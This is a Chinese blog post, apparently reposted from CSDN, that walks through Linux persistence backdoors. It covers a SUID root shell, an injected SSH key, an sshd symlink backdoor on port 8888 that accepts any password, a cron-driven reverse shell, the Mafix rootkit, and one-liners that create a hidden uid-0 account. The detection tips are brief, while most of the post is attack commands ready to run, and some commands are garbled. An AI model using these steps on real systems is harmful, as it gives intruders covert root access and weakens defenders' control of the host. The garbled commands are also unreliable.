Linux权限维持

SUID shell 权限维持

SUID是一种可用于以拥有者权限运行的shell。配合普通用户使用 suid shell的 权限维持

查看是否开启sshd命令

sudo ps -e |grep ssh

开启sshd命令

sudo /etc/init.d/ssh start

配合普通用户使用

  1. cp /bin/bsh /tmp/shell

  2. chmod u+s /tmp/shell

在这里插入图片描述
备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

在Linux中查找SUID设置的文件

find . -perm /4000

在Linux中查找使用SGID设置的文件

find . -perm /2000

取消s权限

chmod u-s /tmp/shell

ssh公私钥免密登录

在客户端上(本地cmd)生成一对公私钥,然后把公钥(rsa.pub)放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。

查看是否开启sshd命令

sudo ps -e |grep ssh

开启sshd命令

sudo /etc/init.d/ssh start

操作 步骤:

1 ssh-keygen 或者 ssh-keygen -t rsa 按三次回车就可以创建公钥 私钥

  1. 进入 .ssh目录 查看文件内容
    在这里插入图片描述

在这里插入图片描述
3.vi authorized_keys 把公钥保存进去

在这里插入图片描述

4。登出 重新连接 无需密码

在这里插入图片描述

软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

  1. 连接腾讯云远程服务器

  2. 在目标服务器上执行一句话后门 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

在这里插入图片描述
执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

在这里插入图片描述

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

也可以使用 ps -ef ps -aux 指令查看当前进程

kill -9 进程号 杀死当前进程

在这里插入图片描述

crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

  1. 创建shell脚本,例如在/etc/evil.sh

在这里插入图片描述
2. vi evil.sh

在这里插入图片描述
3. 修改权限
chmod +sx /evil.sh

  1. crontab -e 设置定时任务 插入指令 */1 * * * * root /etc/evil.sh (每一分钟执行一次)

在这里插入图片描述
5. 重启crond服务,service crond restart,然后就可以用nc接收shell

systemctl restart crond 重启指令
在这里插入图片描述

排查技巧:

查看可疑的定时任务列表

crontab -e

rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

1.ls命令查看 用 tar -zxvf mafix.tar.gz 解压

在这里插入图片描述
2.执行mafix

在这里插入图片描述

3.增加权限 chmod 777 mafix

  1. ./root ning(密码)4444(端口号)
 ./root 要看文件的路径,可变   mafix/root ning 4444

在这里插入图片描述

  1. 安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

1、一句话添加用户和密码

添加普通用户:

创建一个用户名guest,密码123456的普通用户

useradd -p openssl passwd -1 -salt 'salt' 123456 guest

useradd -p 方法 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句

useradd -p “$(openssl passwd -1 123456)” guest

chpasswd方法

useradd guest;echo ‘guest:123456’|chpasswd

echo -e方法

useradd test;echo -e “123456\n123456\n” |passwd test //有回显信息
添加root用户:

创建一个用户名guest,密码123456的root用户

useradd -p openssl passwd -1 -salt 'salt' 123456 guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

查询特权用户特权用户(uid 为0)

[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd

查询可以远程登录的帐号信息

[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow

. 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限

猜你喜欢

转载自blog.csdn.net/weixin_52263461/article/details/112846635